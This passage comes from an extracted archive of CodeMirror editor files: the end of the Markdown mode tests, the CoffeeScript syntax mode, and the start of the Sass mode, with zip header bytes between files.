     "[quote&quote-1 bar]");

  // Multi-line blockquote followed by normal paragraph (lazy mode)
  MT("multiBlockquoteLazyThenParagraph",
     "[quote&quote-1 >foo]",
     "[quote&quote-1 bar]",
     "",
     "hello");

  // Multi-line blockquote (non-lazy mode)
  MT("multiBlockquote",
     "[quote&quote-1 >foo]",
     "[quote&quote-1 >bar]");

  // Multi-line blockquote followed by normal paragraph (non-lazy mode)
  MT("multiBlockquoteThenParagraph",
     "[quote&quote-1 >foo]",
     "[quote&quote-1 >bar]",
     "",
     "hello");

  // Header with leading space after continued blockquote (#3287, negative indentation)
  MT("headerAfterContinuedBlockquote",
     "[quote&quote-1 > foo]",
     "[quote&quote-1 bar]",
     "",
     " [header&header-1 # hello]");

  // Check list types

  MT("listAsterisk",
     "foo",
     "bar",
     "",
     "[variable-2 * foo]",
     "[variable-2 * bar]");

  MT("listPlus",
     "foo",
     "bar",
     "",
     "[variable-2 + foo]",
     "[variable-2 + bar]");

  MT("listDash",
     "foo",
     "bar",
     "",
     "[variable-2 - foo]",
     "[variable-2 - bar]");

  MT("listNumber",
     "foo",
     "bar",
     "",
     "[variable-2 1. foo]",
     "[variable-2 2. bar]");

  // Lists require a preceding blank line (per Dingus)
  MT("listBogus",
     "foo",
     "1. bar",
     "2. hello");

  // List after hr
  MT("listAfterHr",
     "[hr ---]",
     "[variable-2 - bar]");

  // List after header
  MT("listAfterHeader",
     "[header&header-1 # foo]",
     "[variable-2 - bar]");

  // hr after list
  MT("hrAfterList",
     "[variable-2 - foo]",
     "[hr -----]");

  // Formatting in lists (*)
  MT("listAsteriskFormatting",
     "[variable-2 * ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 * ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 * ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 * ][variable-2&comment `foo`][variable-2  bar]");

  // Formatting in lists (+)
  MT("listPlusFormatting",
     "[variable-2 + ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 + ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 + ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 + ][variable-2&comment `foo`][variable-2  bar]");

  // Formatting in lists (-)
  MT("listDashFormatting",
     "[variable-2 - ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 - ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 - ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 - ][variable-2&comment `foo`][variable-2  bar]");

  // Formatting in lists (1.)
  MT("listNumberFormatting",
     "[variable-2 1. ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 2. ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 3. ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 4. ][variable-2&comment `foo`][variable-2  bar]");

  // Paragraph lists
  MT("listParagraph",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]");

  // Multi-paragraph lists
  //
  // 4 spaces
  MT("listMultiParagraph",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "    [variable-2 hello]");

  // 4 spaces, extra blank lines (should still be list, per Dingus)
  MT("listMultiParagraphExtra",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "",
     "    [variable-2 hello]");

  // 4 spaces, plus 1 space (should still be list, per Dingus)
  MT("listMultiParagraphExtraSpace",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "     [variable-2 hello]",
     "",
     "    [variable-2 world]");

  // 1 tab
  MT("listTab",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "\t[variable-2 hello]");

  // No indent
  MT("listNoIndent",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "hello");

  // Blockquote
  MT("blockquote",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "    [variable-2&quote&quote-1 > hello]");

  // Code block
  MT("blockquoteCode",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "        [comment > hello]",
     "",
     "    [variable-2 world]");

  // Code block followed by text
  MT("blockquoteCodeText",
     "[variable-2 * foo]",
     "",
     "    [variable-2 bar]",
     "",
     "        [comment hello]",
     "",
     "    [variable-2 world]");

  // Nested list

  MT("listAsteriskNested",
     "[variable-2 * foo]",
     "",
     "    [variable-3 * bar]");

  MT("listPlusNested",
     "[variable-2 + foo]",
     "",
     "    [variable-3 + bar]");

  MT("listDashNested",
     "[variable-2 - foo]",
     "",
     "    [variable-3 - bar]");

  MT("listNumberNested",
     "[variable-2 1. foo]",
     "",
     "    [variable-3 2. bar]");

  MT("listMixed",
     "[variable-2 * foo]",
     "",
     "    [variable-3 + bar]",
     "",
     "        [keyword - hello]",
     "",
     "            [variable-2 1. world]");

  MT("listBlockquote",
     "[variable-2 * foo]",
     "",
     "    [variable-3 + bar]",
     "",
     "        [quote&quote-1&variable-3 > hello]");

  MT("listCode",
     "[variable-2 * foo]",
     "",
     "    [variable-3 + bar]",
     "",
     "            [comment hello]");

  // Code with internal indentation
  MT("listCodeIndentation",
     "[variable-2 * foo]",
     "",
     "        [comment bar]",
     "            [comment hello]",
     "                [comment world]",
     "        [comment foo]",
     "    [variable-2 bar]");

  // List nesting edge cases
  MT("listNested",
    "[variable-2 * foo]",
    "",
    "    [variable-3 * bar]",
    "",
    "       [variable-3 hello]"
  );
  MT("listNested",
    "[variable-2 * foo]",
    "",
    "    [variable-3 * bar]",
    "",
    "      [keyword * foo]"
  );

  // Code followed by text
  MT("listCodeText",
     "[variable-2 * foo]",
     "",
     "        [comment bar]",
     "",
     "hello");

  // Following tests directly from official Markdown documentation
  // http://daringfireball.net/projects/markdown/syntax#hr

  MT("hrSpace",
     "[hr * * *]");

  MT("hr",
     "[hr ***]");

  MT("hrLong",
     "[hr *****]");

  MT("hrSpaceDash",
     "[hr - - -]");

  MT("hrDashLong",
     "[hr ---------------------------------------]");

  // Inline link with title
  MT("linkTitle",
     "[link [[foo]]][string&url (http://example.com/ \"bar\")] hello");

  // Inline link without title
  MT("linkNoTitle",
     "[link [[foo]]][string&url (http://example.com/)] bar");

  // Inline link with image
  MT("linkImage",
     "[link [[][tag ![[foo]]][string&url (http://example.com/)][link ]]][string&url (http://example.com/)] bar");

  // Inline link with Em
  MT("linkEm",
     "[link [[][link&em *foo*][link ]]][string&url (http://example.com/)] bar");

  // Inline link with Strong
  MT("linkStrong",
     "[link [[][link&strong **foo**][link ]]][string&url (http://example.com/)] bar");

  // Inline link with EmStrong
  MT("linkEmStrong",
     "[link [[][link&strong **][link&em&strong *foo**][link&em *][link ]]][string&url (http://example.com/)] bar");

  // Image with title
  MT("imageTitle",
     "[tag ![[foo]]][string&url (http://example.com/ \"bar\")] hello");

  // Image without title
  MT("imageNoTitle",
     "[tag ![[foo]]][string&url (http://example.com/)] bar");

  // Image with asterisks
  MT("imageAsterisks",
     "[tag ![[*foo*]]][string&url (http://example.com/)] bar");

  // Not a link. Should be normal text due to square brackets being used
  // regularly in text, especially in quoted material, and no space is allowed
  // between square brackets and parentheses (per Dingus).
  MT("notALink",
     "[[foo]] (bar)");

  // Reference-style links
  MT("linkReference",
     "[link [[foo]]][string&url [[bar]]] hello");

  // Reference-style links with Em
  MT("linkReferenceEm",
     "[link [[][link&em *foo*][link ]]][string&url [[bar]]] hello");

  // Reference-style links with Strong
  MT("linkReferenceStrong",
     "[link [[][link&strong **foo**][link ]]][string&url [[bar]]] hello");

  // Reference-style links with EmStrong
  MT("linkReferenceEmStrong",
     "[link [[][link&strong **][link&em&strong *foo**][link&em *][link ]]][string&url [[bar]]] hello");

  // Reference-style links with optional space separator (per docuentation)
  // "You can optionally use a space to separate the sets of brackets"
  MT("linkReferenceSpace",
     "[link [[foo]]] [string&url [[bar]]] hello");

  // Should only allow a single space ("...use *a* space...")
  MT("linkReferenceDoubleSpace",
     "[[foo]]  [[bar]] hello");

  // Reference-style links with implicit link name
  MT("linkImplicit",
     "[link [[foo]]][string&url [[]]] hello");

  // @todo It would be nice if, at some point, the document was actually
  // checked to see if the referenced link exists

  // Link label, for reference-style links (taken from documentation)

  MT("labelNoTitle",
     "[link [[foo]]:] [string&url http://example.com/]");

  MT("labelIndented",
     "   [link [[foo]]:] [string&url http://example.com/]");

  MT("labelSpaceTitle",
     "[link [[foo bar]]:] [string&url http://example.com/ \"hello\"]");

  MT("labelDoubleTitle",
     "[link [[foo bar]]:] [string&url http://example.com/ \"hello\"] \"world\"");

  MT("labelTitleDoubleQuotes",
     "[link [[foo]]:] [string&url http://example.com/  \"bar\"]");

  MT("labelTitleSingleQuotes",
     "[link [[foo]]:] [string&url http://example.com/  'bar']");

  MT("labelTitleParenthese",
     "[link [[foo]]:] [string&url http://example.com/  (bar)]");

  MT("labelTitleInvalid",
     "[link [[foo]]:] [string&url http://example.com/] bar");

  MT("labelLinkAngleBrackets",
     "[link [[foo]]:] [string&url <http://example.com/>  \"bar\"]");

  MT("labelTitleNextDoubleQuotes",
     "[link [[foo]]:] [string&url http://example.com/]",
     "[string \"bar\"] hello");

  MT("labelTitleNextSingleQuotes",
     "[link [[foo]]:] [string&url http://example.com/]",
     "[string 'bar'] hello");

  MT("labelTitleNextParenthese",
     "[link [[foo]]:] [string&url http://example.com/]",
     "[string (bar)] hello");

  MT("labelTitleNextMixed",
     "[link [[foo]]:] [string&url http://example.com/]",
     "(bar\" hello");

  MT("linkWeb",
     "[link <http://example.com/>] foo");

  MT("linkWebDouble",
     "[link <http://example.com/>] foo [link <http://example.com/>]");

  MT("linkEmail",
     "[link <user@example.com>] foo");

  MT("linkEmailDouble",
     "[link <user@example.com>] foo [link <user@example.com>]");

  MT("emAsterisk",
     "[em *foo*] bar");

  MT("emUnderscore",
     "[em _foo_] bar");

  MT("emInWordAsterisk",
     "foo[em *bar*]hello");

  MT("emInWordUnderscore",
     "foo[em _bar_]hello");

  // Per documentation: "...surround an * or _ with spaces, it’ll be
  // treated as a literal asterisk or underscore."

  MT("emEscapedBySpaceIn",
     "foo [em _bar _ hello_] world");

  MT("emEscapedBySpaceOut",
     "foo _ bar[em _hello_]world");

  MT("emEscapedByNewline",
     "foo",
     "_ bar[em _hello_]world");

  // Unclosed emphasis characters
  // Instead of simply marking as EM / STRONG, it would be nice to have an
  // incomplete flag for EM and STRONG, that is styled slightly different.
  MT("emIncompleteAsterisk",
     "foo [em *bar]");

  MT("emIncompleteUnderscore",
     "foo [em _bar]");

  MT("strongAsterisk",
     "[strong **foo**] bar");

  MT("strongUnderscore",
     "[strong __foo__] bar");

  MT("emStrongAsterisk",
     "[em *foo][em&strong **bar*][strong hello**] world");

  MT("emStrongUnderscore",
     "[em _foo][em&strong __bar_][strong hello__] world");

  // "...same character must be used to open and close an emphasis span.""
  MT("emStrongMixed",
     "[em _foo][em&strong **bar*hello__ world]");

  MT("emStrongMixed",
     "[em *foo][em&strong __bar_hello** world]");

  // These characters should be escaped:
  // \   backslash
  // `   backtick
  // *   asterisk
  // _   underscore
  // {}  curly braces
  // []  square brackets
  // ()  parentheses
  // #   hash mark
  // +   plus sign
  // -   minus sign (hyphen)
  // .   dot
  // !   exclamation mark

  MT("escapeBacktick",
     "foo \\`bar\\`");

  MT("doubleEscapeBacktick",
     "foo \\\\[comment `bar\\\\`]");

  MT("escapeAsterisk",
     "foo \\*bar\\*");

  MT("doubleEscapeAsterisk",
     "foo \\\\[em *bar\\\\*]");

  MT("escapeUnderscore",
     "foo \\_bar\\_");

  MT("doubleEscapeUnderscore",
     "foo \\\\[em _bar\\\\_]");

  MT("escapeHash",
     "\\# foo");

  MT("doubleEscapeHash",
     "\\\\# foo");

  MT("escapeNewline",
     "\\",
     "[em *foo*]");

  // Class override tests
  TokenTypeOverrideTest("overrideHeader1",
    "[override-header&override-header-1 # Foo]");

  TokenTypeOverrideTest("overrideHeader2",
    "[override-header&override-header-2 ## Foo]");

  TokenTypeOverrideTest("overrideHeader3",
    "[override-header&override-header-3 ### Foo]");

  TokenTypeOverrideTest("overrideHeader4",
    "[override-header&override-header-4 #### Foo]");

  TokenTypeOverrideTest("overrideHeader5",
    "[override-header&override-header-5 ##### Foo]");

  TokenTypeOverrideTest("overrideHeader6",
    "[override-header&override-header-6 ###### Foo]");

  TokenTypeOverrideTest("overrideCode",
    "[override-code `foo`]");

  TokenTypeOverrideTest("overrideCodeBlock",
    "[override-code ```]",
    "[override-code foo]",
    "[override-code ```]");

  TokenTypeOverrideTest("overrideQuote",
    "[override-quote&override-quote-1 > foo]",
    "[override-quote&override-quote-1 > bar]");

  TokenTypeOverrideTest("overrideQuoteNested",
    "[override-quote&override-quote-1 > foo]",
    "[override-quote&override-quote-1 >][override-quote&override-quote-2 > bar]",
    "[override-quote&override-quote-1 >][override-quote&override-quote-2 >][override-quote&override-quote-3 > baz]");

  TokenTypeOverrideTest("overrideLists",
    "[override-list1 - foo]",
    "",
    "    [override-list2 + bar]",
    "",
    "        [override-list3 * baz]",
    "",
    "            [override-list1 1. qux]",
    "",
    "                [override-list2 - quux]");

  TokenTypeOverrideTest("overrideHr",
    "[override-hr * * *]");

  TokenTypeOverrideTest("overrideImage",
    "[override-image ![[foo]]][override-link-href&url (http://example.com/)]")

  TokenTypeOverrideTest("overrideLinkText",
    "[override-link-text [[foo]]][override-link-href&url (http://example.com)]");

  TokenTypeOverrideTest("overrideLinkEmailAndInline",
    "[override-link-email <][override-link-inline foo@example.com>]");

  TokenTypeOverrideTest("overrideEm",
    "[override-em *foo*]");

  TokenTypeOverrideTest("overrideStrong",
    "[override-strong **foo**]");

  TokenTypeOverrideTest("overrideStrikethrough",
    "[override-strikethrough ~~foo~~]");

  FormatTokenTypeOverrideTest("overrideFormatting",
    "[override-formatting-escape \\*]");

  // Tests to make sure GFM-specific things aren't getting through

  MT("taskList",
     "[variable-2 * [ ]] bar]");

  MT("noFencedCodeBlocks",
     "~~~",
     "foo",
     "~~~");

  FencedTest("fencedCodeBlocks",
     "[comment ```]",
     "[comment foo]",
     "[comment ```]",
     "bar");

  FencedTest("fencedCodeBlocksMultipleChars",
     "[comment `````]",
     "[comment foo]",
     "[comment ```]",
     "[comment foo]",
     "[comment `````]",
     "bar");

  FencedTest("fencedCodeBlocksTildes",
     "[comment ~~~]",
     "[comment foo]",
     "[comment ~~~]",
     "bar");

  FencedTest("fencedCodeBlocksTildesMultipleChars",
     "[comment ~~~~~]",
     "[comment ~~~]",
     "[comment foo]",
     "[comment ~~~~~]",
     "bar");

  FencedTest("fencedCodeBlocksMultipleChars",
     "[comment `````]",
     "[comment foo]",
     "[comment ```]",
     "[comment foo]",
     "[comment `````]",
     "bar");

  FencedTest("fencedCodeBlocksMixed",
     "[comment ~~~]",
     "[comment ```]",
     "[comment foo]",
     "[comment ~~~]",
     "bar");

  // Tests that require XML mode

  MT("xmlMode",
     "[tag&bracket <][tag div][tag&bracket >]",
     "*foo*",
     "[tag&bracket <][tag http://github.com][tag&bracket />]",
     "[tag&bracket </][tag div][tag&bracket >]",
     "[link <http://github.com/>]");

  MT("xmlModeWithMarkdownInside",
     "[tag&bracket <][tag div] [attribute markdown]=[string 1][tag&bracket >]",
     "[em *foo*]",
     "[link <http://github.com/>]",
     "[tag </div>]",
     "[link <http://github.com/>]",
     "[tag&bracket <][tag div][tag&bracket >]",
     "[tag&bracket </][tag div][tag&bracket >]");

})();
PK     N\-X&  &  V  inc/customizer/framework/assets/js/vendor/codemirror/mode/coffeescript/coffeescript.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Link to the project's GitHub page:
 * https://github.com/pickhardt/coffeescript-codemirror-mode
 */
(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("coffeescript", function(conf, parserConf) {
  var ERRORCLASS = "error";

  function wordRegexp(words) {
    return new RegExp("^((" + words.join(")|(") + "))\\b");
  }

  var operators = /^(?:->|=>|\+[+=]?|-[\-=]?|\*[\*=]?|\/[\/=]?|[=!]=|<[><]?=?|>>?=?|%=?|&=?|\|=?|\^=?|\~|!|\?|(or|and|\|\||&&|\?)=)/;
  var delimiters = /^(?:[()\[\]{},:`=;]|\.\.?\.?)/;
  var identifiers = /^[_A-Za-z$][_A-Za-z$0-9]*/;
  var atProp = /^@[_A-Za-z$][_A-Za-z$0-9]*/;

  var wordOperators = wordRegexp(["and", "or", "not",
                                  "is", "isnt", "in",
                                  "instanceof", "typeof"]);
  var indentKeywords = ["for", "while", "loop", "if", "unless", "else",
                        "switch", "try", "catch", "finally", "class"];
  var commonKeywords = ["break", "by", "continue", "debugger", "delete",
                        "do", "in", "of", "new", "return", "then",
                        "this", "@", "throw", "when", "until", "extends"];

  var keywords = wordRegexp(indentKeywords.concat(commonKeywords));

  indentKeywords = wordRegexp(indentKeywords);


  var stringPrefixes = /^('{3}|\"{3}|['\"])/;
  var regexPrefixes = /^(\/{3}|\/)/;
  var commonConstants = ["Infinity", "NaN", "undefined", "null", "true", "false", "on", "off", "yes", "no"];
  var constants = wordRegexp(commonConstants);

  // Tokenizers
  function tokenBase(stream, state) {
    // Handle scope changes
    if (stream.sol()) {
      if (state.scope.align === null) state.scope.align = false;
      var scopeOffset = state.scope.offset;
      if (stream.eatSpace()) {
        var lineOffset = stream.indentation();
        if (lineOffset > scopeOffset && state.scope.type == "coffee") {
          return "indent";
        } else if (lineOffset < scopeOffset) {
          return "dedent";
        }
        return null;
      } else {
        if (scopeOffset > 0) {
          dedent(stream, state);
        }
      }
    }
    if (stream.eatSpace()) {
      return null;
    }

    var ch = stream.peek();

    // Handle docco title comment (single line)
    if (stream.match("####")) {
      stream.skipToEnd();
      return "comment";
    }

    // Handle multi line comments
    if (stream.match("###")) {
      state.tokenize = longComment;
      return state.tokenize(stream, state);
    }

    // Single line comment
    if (ch === "#") {
      stream.skipToEnd();
      return "comment";
    }

    // Handle number literals
    if (stream.match(/^-?[0-9\.]/, false)) {
      var floatLiteral = false;
      // Floats
      if (stream.match(/^-?\d*\.\d+(e[\+\-]?\d+)?/i)) {
        floatLiteral = true;
      }
      if (stream.match(/^-?\d+\.\d*/)) {
        floatLiteral = true;
      }
      if (stream.match(/^-?\.\d+/)) {
        floatLiteral = true;
      }

      if (floatLiteral) {
        // prevent from getting extra . on 1..
        if (stream.peek() == "."){
          stream.backUp(1);
        }
        return "number";
      }
      // Integers
      var intLiteral = false;
      // Hex
      if (stream.match(/^-?0x[0-9a-f]+/i)) {
        intLiteral = true;
      }
      // Decimal
      if (stream.match(/^-?[1-9]\d*(e[\+\-]?\d+)?/)) {
        intLiteral = true;
      }
      // Zero by itself with no other piece of number.
      if (stream.match(/^-?0(?![\dx])/i)) {
        intLiteral = true;
      }
      if (intLiteral) {
        return "number";
      }
    }

    // Handle strings
    if (stream.match(stringPrefixes)) {
      state.tokenize = tokenFactory(stream.current(), false, "string");
      return state.tokenize(stream, state);
    }
    // Handle regex literals
    if (stream.match(regexPrefixes)) {
      if (stream.current() != "/" || stream.match(/^.*\//, false)) { // prevent highlight of division
        state.tokenize = tokenFactory(stream.current(), true, "string-2");
        return state.tokenize(stream, state);
      } else {
        stream.backUp(1);
      }
    }



    // Handle operators and delimiters
    if (stream.match(operators) || stream.match(wordOperators)) {
      return "operator";
    }
    if (stream.match(delimiters)) {
      return "punctuation";
    }

    if (stream.match(constants)) {
      return "atom";
    }

    if (stream.match(atProp) || state.prop && stream.match(identifiers)) {
      return "property";
    }

    if (stream.match(keywords)) {
      return "keyword";
    }

    if (stream.match(identifiers)) {
      return "variable";
    }

    // Handle non-detected items
    stream.next();
    return ERRORCLASS;
  }

  function tokenFactory(delimiter, singleline, outclass) {
    return function(stream, state) {
      while (!stream.eol()) {
        stream.eatWhile(/[^'"\/\\]/);
        if (stream.eat("\\")) {
          stream.next();
          if (singleline && stream.eol()) {
            return outclass;
          }
        } else if (stream.match(delimiter)) {
          state.tokenize = tokenBase;
          return outclass;
        } else {
          stream.eat(/['"\/]/);
        }
      }
      if (singleline) {
        if (parserConf.singleLineStringErrors) {
          outclass = ERRORCLASS;
        } else {
          state.tokenize = tokenBase;
        }
      }
      return outclass;
    };
  }

  function longComment(stream, state) {
    while (!stream.eol()) {
      stream.eatWhile(/[^#]/);
      if (stream.match("###")) {
        state.tokenize = tokenBase;
        break;
      }
      stream.eatWhile("#");
    }
    return "comment";
  }

  function indent(stream, state, type) {
    type = type || "coffee";
    var offset = 0, align = false, alignOffset = null;
    for (var scope = state.scope; scope; scope = scope.prev) {
      if (scope.type === "coffee" || scope.type == "}") {
        offset = scope.offset + conf.indentUnit;
        break;
      }
    }
    if (type !== "coffee") {
      align = null;
      alignOffset = stream.column() + stream.current().length;
    } else if (state.scope.align) {
      state.scope.align = false;
    }
    state.scope = {
      offset: offset,
      type: type,
      prev: state.scope,
      align: align,
      alignOffset: alignOffset
    };
  }

  function dedent(stream, state) {
    if (!state.scope.prev) return;
    if (state.scope.type === "coffee") {
      var _indent = stream.indentation();
      var matched = false;
      for (var scope = state.scope; scope; scope = scope.prev) {
        if (_indent === scope.offset) {
          matched = true;
          break;
        }
      }
      if (!matched) {
        return true;
      }
      while (state.scope.prev && state.scope.offset !== _indent) {
        state.scope = state.scope.prev;
      }
      return false;
    } else {
      state.scope = state.scope.prev;
      return false;
    }
  }

  function tokenLexer(stream, state) {
    var style = state.tokenize(stream, state);
    var current = stream.current();

    // Handle scope changes.
    if (current === "return") {
      state.dedent = true;
    }
    if (((current === "->" || current === "=>") && stream.eol())
        || style === "indent") {
      indent(stream, state);
    }
    var delimiter_index = "[({".indexOf(current);
    if (delimiter_index !== -1) {
      indent(stream, state, "])}".slice(delimiter_index, delimiter_index+1));
    }
    if (indentKeywords.exec(current)){
      indent(stream, state);
    }
    if (current == "then"){
      dedent(stream, state);
    }


    if (style === "dedent") {
      if (dedent(stream, state)) {
        return ERRORCLASS;
      }
    }
    delimiter_index = "])}".indexOf(current);
    if (delimiter_index !== -1) {
      while (state.scope.type == "coffee" && state.scope.prev)
        state.scope = state.scope.prev;
      if (state.scope.type == current)
        state.scope = state.scope.prev;
    }
    if (state.dedent && stream.eol()) {
      if (state.scope.type == "coffee" && state.scope.prev)
        state.scope = state.scope.prev;
      state.dedent = false;
    }

    return style;
  }

  var external = {
    startState: function(basecolumn) {
      return {
        tokenize: tokenBase,
        scope: {offset:basecolumn || 0, type:"coffee", prev: null, align: false},
        prop: false,
        dedent: 0
      };
    },

    token: function(stream, state) {
      var fillAlign = state.scope.align === null && state.scope;
      if (fillAlign && stream.sol()) fillAlign.align = false;

      var style = tokenLexer(stream, state);
      if (style && style != "comment") {
        if (fillAlign) fillAlign.align = true;
        state.prop = style == "punctuation" && stream.current() == "."
      }

      return style;
    },

    indent: function(state, text) {
      if (state.tokenize != tokenBase) return 0;
      var scope = state.scope;
      var closer = text && "])}".indexOf(text.charAt(0)) > -1;
      if (closer) while (scope.type == "coffee" && scope.prev) scope = scope.prev;
      var closes = closer && scope.type === text.charAt(0);
      if (scope.align)
        return scope.alignOffset - (closes ? 1 : 0);
      else
        return (closes ? scope.prev : scope).offset;
    },

    lineComment: "#",
    fold: "indent"
  };
  return external;
});

CodeMirror.defineMIME("text/x-coffeescript", "coffeescript");
CodeMirror.defineMIME("text/coffeescript", "coffeescript");

});
PK     N\2K'  K'  F  inc/customizer/framework/assets/js/vendor/codemirror/mode/sass/sass.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sass", function(config) {
  function tokenRegexp(words) {
    return new RegExp("^" + words.join("|"));
  }

  var keywords = ["true", "false", "null", "auto"];
  var keywordsRegexp = new RegExp("^" + keywords.join("|"));

  var operators = ["\\(", "\\)", "=", ">", "<", "==", ">=", "<=", "\\+", "-",
                   "\\!=", "/", "\\*", "%", "and", "or", "not", ";","\\{","\\}",":"];
  var opRegexp = tokenRegexp(operators);

  var pseudoElementsRegexp = /^::?[a-zA-Z_][\w\-]*/;

  function urlTokens(stream, state) {
    var ch = stream.peek();

    if (ch === ")") {
      stream.next();
      state.tokenizer = tokenBase;
      return "operator";
    } else if (ch === "(") {
      stream.next();
      stream.eatSpace();

      return "operator";
    } else if (ch === "'" || ch === '"') {
      state.tokenizer = buildStringTokenizer(stream.next());
      return "string";
    } else {
      state.tokenizer = buildStringTokenizer(")", false);
      return "string";
    }
  }
  function comment(indentation, multiLine) {
    return function(stream, state) {
      if (stream.sol() && stream.indentation() <= indentation) {
        state.tokenizer = tokenBase;
        return tokenBase(stream, state);
      }

      if (multiLine && stream.skipTo("*/")) {
        stream.next();
        stream.next();
        state.tokenizer = tokenBase;
      } else {
        stream.skipToEnd();
      }

      return "comment";
    };
  }

  function buildStringTokenizer(quote, greedy) {
    if (greedy == null) { greedy = true; }

    function stringTokenizer(stream, state) {
      var nextChar = stream.next();
      var peekChar = stream.peek();
      var previousChar = stream.string.charAt(stream.pos-2);

      var endingString = ((nextChar !== "\\" && peekChar === quote) || (nextChar === quote && previousChar !== "\\"));

      if (endingString) {
        if (nextChar !== quote && greedy) { stream.next(); }
        state.tokenizer = tokenBase;
        return "string";
      } else if (nextChar === "#" && peekChar === "{") {
        state.tokenizer = buildInterpolationTokenizer(stringTokenizer);
        stream.next();
        return "operator";
      } else {
        return "string";
      }
    }

    return stringTokenizer;
  }

  function buildInterpolationTokenizer(currentTokenizer) {
    return function(stream, state) {
      if (stream.peek() === "}") {
        stream.next();
        state.tokenizer = currentTokenizer;
        return "operator";
      } else {
        return tokenBase(stream, state);
      }
    };
  }

  function indent(state) {
    if (state.indentCount == 0) {
      state.indentCount++;
      var lastScopeOffset = state.scopes[0].offset;
      var currentOffset = lastScopeOffset + config.indentUnit;
      state.scopes.unshift({ offset:currentOffset });
    }
  }

  function dedent(state) {
    if (state.scopes.length == 1) return;

    state.scopes.shift();
  }

  function tokenBase(stream, state) {
    var ch = stream.peek();

    // Comment
    if (stream.match("/*")) {
      state.tokenizer = comment(stream.indentation(), true);
      return state.tokenizer(stream, state);
    }
    if (stream.match("//")) {
      state.tokenizer = comment(stream.indentation(), false);
      return state.tokenizer(stream, state);
    }

    // Interpolation
    if (stream.match("#{")) {
      state.tokenizer = buildInterpolationTokenizer(tokenBase);
      return "operator";
    }

    // Strings
    if (ch === '"' || ch === "'") {
      stream.next();
      state.tokenizer = buildStringTokenizer(ch);
      return "string";
    }

    if(!state.cursorHalf){// state.cursorHalf === 0
    // first half i.e. before : for key-value pairs
    // including selectors

      if (ch === ".") {
        stream.next();
        if (stream.match(/^[\w-]+/)) {
          indent(state);
          return "atom";
        } else if (stream.peek() === "#") {
          indent(state);
          return "atom";
        }
      }

      if (ch === "#") {
        stream.next();
        // ID selectors
        if (stream.match(/^[\w-]+/)) {
          indent(state);
          return "atom";
        }
        if (stream.peek() === "#") {
          indent(state);
          return "atom";
        }
      }

      // Variables
      if (ch === "$") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        return "variable-2";
      }

      // Numbers
      if (stream.match(/^-?[0-9\.]+/))
        return "number";

      // Units
      if (stream.match(/^(px|em|in)\b/))
        return "unit";

      if (stream.match(keywordsRegexp))
        return "keyword";

      if (stream.match(/^url/) && stream.peek() === "(") {
        state.tokenizer = urlTokens;
        return "atom";
      }

      if (ch === "=") {
        // Match shortcut mixin definition
        if (stream.match(/^=[\w-]+/)) {
          indent(state);
          return "meta";
        }
      }

      if (ch === "+") {
        // Match shortcut mixin definition
        if (stream.match(/^\+[\w-]+/)){
          return "variable-3";
        }
      }

      if(ch === "@"){
        if(stream.match(/@extend/)){
          if(!stream.match(/\s*[\w]/))
            dedent(state);
        }
      }


      // Indent Directives
      if (stream.match(/^@(else if|if|media|else|for|each|while|mixin|function)/)) {
        indent(state);
        return "meta";
      }

      // Other Directives
      if (ch === "@") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        return "meta";
      }

      if (stream.eatWhile(/[\w-]/)){
        if(stream.match(/ *: *[\w-\+\$#!\("']/,false)){
          return "property";
        }
        else if(stream.match(/ *:/,false)){
          indent(state);
          state.cursorHalf = 1;
          return "atom";
        }
        else if(stream.match(/ *,/,false)){
          return "atom";
        }
        else{
          indent(state);
          return "atom";
        }
      }

      if(ch === ":"){
        if (stream.match(pseudoElementsRegexp)){ // could be a pseudo-element
          return "keyword";
        }
        stream.next();
        state.cursorHalf=1;
        return "operator";
      }

    } // cursorHalf===0 ends here
    else{

      if (ch === "#") {
        stream.next();
        // Hex numbers
        if (stream.match(/[0-9a-fA-F]{6}|[0-9a-fA-F]{3}/)){
          if(!stream.peek()){
            state.cursorHalf = 0;
          }
          return "number";
        }
      }

      // Numbers
      if (stream.match(/^-?[0-9\.]+/)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "number";
      }

      // Units
      if (stream.match(/^(px|em|in)\b/)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "unit";
      }

      if (stream.match(keywordsRegexp)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "keyword";
      }

